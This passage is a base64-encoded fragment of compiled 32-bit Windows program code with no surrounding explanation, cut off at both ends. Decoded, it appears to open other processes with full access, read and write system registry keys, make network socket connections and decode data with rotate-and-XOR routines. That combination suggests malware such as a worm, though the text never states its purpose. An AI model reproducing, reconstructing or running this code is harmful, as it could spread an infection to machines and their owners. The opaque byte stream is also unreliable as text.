AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G BDMNQ8YEMwpDg0X4Ag+2Rf+LFTDwQACKBBCIBDNDg330An8FxkQz/z2A4T+F23Qehf9+GovD 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 